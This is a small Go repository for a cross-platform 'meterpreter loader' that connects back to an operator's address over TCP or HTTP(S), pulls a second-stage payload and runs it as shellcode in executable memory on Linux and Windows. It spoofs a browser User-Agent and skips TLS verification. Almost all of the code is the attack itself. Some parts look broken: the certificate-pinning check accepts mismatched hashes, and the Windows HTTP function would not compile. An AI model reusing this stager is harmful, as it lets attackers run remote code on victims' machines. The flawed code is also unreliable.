├── LICENSE ├── README.md ├── go.mod ├── nix.go └── windows.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Ege Balcı 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # meterpreter 2 | Basic multi platform meterpreter loader module. 3 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/EgeBalci/meterpreter 2 | 3 | go 1.13 4 | -------------------------------------------------------------------------------- /nix.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package meterpreter 4 | 5 | import ( 6 | "bytes" 7 | "crypto/sha256" 8 | "crypto/tls" 9 | "encoding/binary" 10 | "errors" 11 | "io/ioutil" 12 | "math/rand" 13 | "net" 14 | "net/http" 15 | "syscall" 16 | "time" 17 | "unsafe" 18 | ) 19 | 20 | // Start creates a new meterpreter connection with the given transport type 21 | func Start(transport, address string) error { 22 | switch transport { 23 | case "tcp": 24 | return ReverseTCP(address) 25 | case "http", "https": 26 | return ReverseHTTP(transport, address) 27 | default: 28 | return errors.New("unsupported transport type") 29 | } 30 | 31 | } 32 | 33 | // EnableCrtPinning checks the SSL certificate hash 34 | func EnableCrtPinning(fingerprint []byte) error { 35 | 36 | if len(fingerprint) != 32 { 37 | return errors.New("invalid certificate fingerprint") 38 | } 39 | 40 | tlsConfig := &tls.Config{InsecureSkipVerify: true} 41 | http.DefaultTransport = &http.Transport{ 42 | DialTLS: func(network, addr string) (net.Conn, error) { 43 | conn, err := tls.Dial(network, addr, tlsConfig) 44 | if err != nil { 45 | return conn, err 46 | } 47 | 48 | connState := conn.ConnectionState() 49 | valid := false 50 | for _, peerCert := range connState.PeerCertificates { 51 | hash := sha256.Sum256(peerCert.Raw) 52 | if bytes.Compare(hash[0:], fingerprint) != 0 { 53 | valid = true 54 | } 55 | } 56 | 57 | if valid { 58 | return conn, nil 59 | } 60 | 61 | return nil, errors.New("SSL pinning violation") 62 | }, 63 | } 64 | 65 | return nil 66 | } 67 | 68 | // ReverseHTTP initiates a new reverse HTTP/HTTPS meterpreter connection 69 | func ReverseHTTP(connType, address string) error { 70 | url := connType + "://" + address + "/" + NewURI(rand.Intn(123)+5) 71 | client := &http.Client{} 72 | if connType == "https" { 73 | transport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} 74 | client = &http.Client{Transport: transport} 75 | } 76 | req, err := http.NewRequest("GET", url, nil) 77 | if err != nil { 78 | return err 79 | } 80 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko") 81 | resp, err := client.Do(req) 82 | if err != nil { 83 | return err 84 | } 85 | 86 | defer resp.Body.Close() 87 | 88 | stage2buf, err := ioutil.ReadAll(resp.Body) 89 | if err != nil { 90 | return err 91 | } 92 | 93 | if len(stage2buf) < 100 { 94 | return errors.New("meterpreter error: missing second stage received") 95 | } 96 | return ExecShellcode(stage2buf) 97 | } 98 | 99 | // ReverseTCP initiates a new reverse TCP meterpreter connection 100 | func ReverseTCP(address string) error { 101 | var ( 102 | stage2LengthBuf []byte = make([]byte, 4) 103 | tmpBuf []byte = make([]byte, 2048) 104 | read int = 0 105 | totalRead int = 0 106 | stage2LengthInt uint32 = 0 107 | con net.Conn 108 | err error 109 | ) 110 | 111 | if con, err = net.Dial("tcp", address); err != nil { 112 | return err 113 | } 114 | 115 | defer con.Close() 116 | 117 | if _, err = con.Read(stage2LengthBuf); err != nil { 118 | return err 119 | } 120 | 121 | stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:]) 122 | stage2Buf := make([]byte, stage2LengthInt) 123 | 124 | for totalRead < (int)(stage2LengthInt) { 125 | if read, err = con.Read(tmpBuf); err != nil { 126 | return err 127 | } 128 | totalRead += read 129 | stage2Buf = append(stage2Buf, tmpBuf[:read]...) 130 | } 131 | 132 | return ExecShellcode(stage2Buf) 133 | } 134 | 135 | // ExecShellcode executes the given shellcode 136 | func ExecShellcode(shellcode []byte) error { 137 | 138 | shellcodeAddr := uintptr(unsafe.Pointer(&shellcode[0])) 139 | page := (*(*[0xFFFFFF]byte)(unsafe.Pointer(shellcodeAddr & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()] 140 | err := syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC|syscall.PROT_WRITE) 141 | if err != nil { 142 | return err 143 | } 144 | shellcodePtr := unsafe.Pointer(&shellcode) 145 | shellcodeFuncPtr := *(*func())(unsafe.Pointer(&shellcodePtr)) 146 | go shellcodeFuncPtr() 147 | return nil 148 | } 149 | 150 | // NewURI generates a new meterpreter connection URI witch is a random string with a special 8bit checksum 151 | func NewURI(length int) string { 152 | 153 | const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" 154 | var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) 155 | buf := make([]byte, length) 156 | for i := range buf { 157 | buf[i] = charset[seed.Intn(len(charset))] 158 | } 159 | 160 | checksum := 0 161 | for _, value := range buf { 162 | checksum += int(value) 163 | } 164 | if (checksum % 0x100) == 95 { 165 | return string(buf) 166 | } 167 | return NewURI(length) 168 | } 169 | 170 | // GetURIChecksumID returns the 8bit checksum values required by the runtime OS 171 | // See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb 172 | // func GetURIChecksumID() int { 173 | // switch runtime.GOOS { 174 | // case "windows": 175 | // return 92 176 | // case "linux", "darwin": 177 | // return 95 178 | // default: 179 | // return 92 180 | // } 181 | // } 182 | -------------------------------------------------------------------------------- /windows.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package meterpreter 4 | 5 | import ( 6 | "bytes" 7 | "crypto/sha256" 8 | "crypto/tls" 9 | "encoding/binary" 10 | "errors" 11 | "io/ioutil" 12 | "math/rand" 13 | "net" 14 | "net/http" 15 | "strconv" 16 | "strings" 17 | "syscall" 18 | "time" 19 | "unsafe" 20 | ) 21 | 22 | const ( 23 | MEM_COMMIT = 0x1000 24 | MEM_RESERVE = 0x2000 25 | PAGE_EXECUTE_READWRITE = 0x40 26 | PROCESS_CREATE_THREAD = 0x0002 27 | PROCESS_QUERY_INFORMATION = 0x0400 28 | PROCESS_VM_OPERATION = 0x0008 29 | PROCESS_VM_WRITE = 0x0020 30 | PROCESS_VM_READ = 0x0010 31 | ) 32 | 33 | // Start creates a new meterpreter connection with the given transport type 34 | func Start(transport, address string) error { 35 | switch transport { 36 | case "tcp": 37 | return ReverseTCP(address) 38 | case "http", "https": 39 | return ReverseHTTP(transport, address) 40 | default: 41 | return errors.New("unsupported transport type") 42 | } 43 | 44 | } 45 | 46 | // EnableCrtPinning checks the SSL certificate hash 47 | func EnableCrtPinning(fingerprint []byte) error { 48 | 49 | if len(fingerprint) != 32 { 50 | return errors.New("invalid certificate fingerprint") 51 | } 52 | 53 | tlsConfig := &tls.Config{InsecureSkipVerify: true} 54 | http.DefaultTransport = &http.Transport{ 55 | DialTLS: func(network, addr string) (net.Conn, error) { 56 | conn, err := tls.Dial(network, addr, tlsConfig) 57 | if err != nil { 58 | return conn, err 59 | } 60 | 61 | connState := conn.ConnectionState() 62 | valid := false 63 | for _, peerCert := range connState.PeerCertificates { 64 | hash := sha256.Sum256(peerCert.Raw) 65 | if bytes.Compare(hash[0:], fingerprint) != 0 { 66 | valid = true 67 | } 68 | } 69 | 70 | if valid { 71 | return conn, nil 72 | } 73 | 74 | return nil, errors.New("SSL pinning violation") 75 | }, 76 | } 77 | 78 | return nil 79 | } 80 | 81 | // ReverseHTTP initiates a new reverse HTTP/HTTPS meterpreter connection 82 | func ReverseHTTP(connType, address string) error { 83 | url := connType + "://" + address + "/" + NewURI(rand.Intn(123)+5) 84 | client := &http.Client{} 85 | if connType == "https" { 86 | transport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} 87 | client = &http.Client{Transport: transport} 88 | } 89 | req, err := http.NewRequest("GET", url, nil) 90 | if err != nil { 91 | return err 92 | } 93 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko") 94 | client := &http.Client{} 95 | resp, err = client.Do(req) 96 | if err != nil { 97 | return err 98 | } 99 | defer resp.Body.Close() 100 | 101 | stage2buf, err := ioutil.ReadAll(resp.Body) 102 | if err != nil { 103 | return err 104 | } 105 | if len(stage2buf) < 100 { 106 | return errors.New("meterpreter error: could not receive second stage") 107 | } 108 | return ExecShellcode(stage2buf) 109 | } 110 | 111 | // ReverseTCP initiates a new reverse TCP meterpreter connection 112 | func ReverseTCP(address string) error { 113 | 114 | kernel32 := syscall.MustLoadDLL("kernel32.dll") //kernel32.dll 115 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 116 | 117 | var WSAData syscall.WSAData 118 | syscall.WSAStartup(uint32(0x202), &WSAData) 119 | socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) 120 | 121 | IPnPort := strings.Split(address, ":") 122 | IPOctet := strings.Split(IPnPort[0], ".") 123 | var IPOctetIntArr [4]int 124 | for i := 0; i < 4; i++ { 125 | IPOctetIntArr[i], _ = strconv.Atoi(IPOctet[i]) 126 | } 127 | 128 | portInt, _ := strconv.Atoi(IPnPort[1]) 129 | sockaddrInet4 := syscall.SockaddrInet4{Port: portInt, Addr: [4]byte{byte(IPOctetIntArr[0]), byte(IPOctetIntArr[1]), byte(IPOctetIntArr[2]), byte(IPOctetIntArr[3])}} 130 | syscall.Connect(socket, &sockaddrInet4) 131 | var secondStageLengt [4]byte 132 | WSABuffer := syscall.WSABuf{Len: uint32(4), Buf: &secondStageLengt[0]} 133 | flags := uint32(0) 134 | dataReceived := uint32(0) 135 | syscall.WSARecv(socket, &WSABuffer, 1, &dataReceived, &flags, nil, nil) 136 | secondStageLengthInt := binary.LittleEndian.Uint32(secondStageLengt[:]) 137 | 138 | if secondStageLengthInt < 100 { 139 | return errors.New("socket failed receiving second stage") 140 | } 141 | 142 | secondStageBuffer := make([]byte, secondStageLengthInt) 143 | var shellcode []byte 144 | WSABuffer = syscall.WSABuf{Len: secondStageLengthInt, Buf: &secondStageBuffer[0]} 145 | flags = uint32(0) 146 | dataReceived = uint32(0) 147 | totalDataReceived := uint32(0) 148 | for totalDataReceived < secondStageLengthInt { 149 | syscall.WSARecv(socket, &WSABuffer, 1, &dataReceived, &flags, nil, nil) 150 | for i := 0; i < int(dataReceived); i++ { 151 | shellcode = append(shellcode, secondStageBuffer[i]) 152 | } 153 | totalDataReceived += dataReceived 154 | } 155 | addr, _, _ := VirtualAlloc.Call(0, uintptr(secondStageLengthInt+5), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) 156 | addrPtr := (*[990000]byte)(unsafe.Pointer(addr)) 157 | socketPtr := (uintptr)(unsafe.Pointer(socket)) 158 | addrPtr[0] = 0xBF 159 | addrPtr[1] = byte(socketPtr) 160 | addrPtr[2] = 0x00 161 | addrPtr[3] = 0x00 162 | addrPtr[4] = 0x00 163 | for i, j := range shellcode { 164 | addrPtr[i+5] = j 165 | } 166 | go syscall.Syscall(addr, 0, 0, 0, 0) 167 | return nil 168 | } 169 | 170 | // ExecShellcode executes the given shellcode 171 | func ExecShellcode(shellcode []byte) error { 172 | 173 | // Resolve kernell32.dll, and VirtualAlloc 174 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 175 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 176 | // Reserve space to drop shellcode 177 | // MEM_COMMIT = 0x1000 178 | // MEM_RESERVE = 0x2000 179 | // PAGE_EXECUTE_READWRITE = 0x40 180 | address, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x2000|0x1000, 0x40) 181 | if err != nil { 182 | if err.Error() != "The operation completed successfully." { 183 | return err 184 | } 185 | } 186 | // Ugly, but works 187 | addrPtr := (*[990000]byte)(unsafe.Pointer(address)) 188 | // Copy shellcode 189 | for i, value := range shellcode { 190 | addrPtr[i] = value 191 | } 192 | go syscall.Syscall(address, 0, 0, 0, 0) 193 | return nil 194 | } 195 | 196 | // NewURI generates a new meterpreter connection URI witch is a random string with a special 8bit checksum 197 | func NewURI(length int) string { 198 | 199 | const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 200 | var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) 201 | buf := make([]byte, length) 202 | for i := range buf { 203 | buf[i] = charset[seed.Intn(len(charset))] 204 | } 205 | 206 | checksum := 0 207 | for _, value := range string(buf) { 208 | checksum += int(value) 209 | } 210 | if (checksum % 0x100) == 92 { 211 | return string(buf) 212 | } 213 | return NewURI(length) 214 | } 215 | --------------------------------------------------------------------------------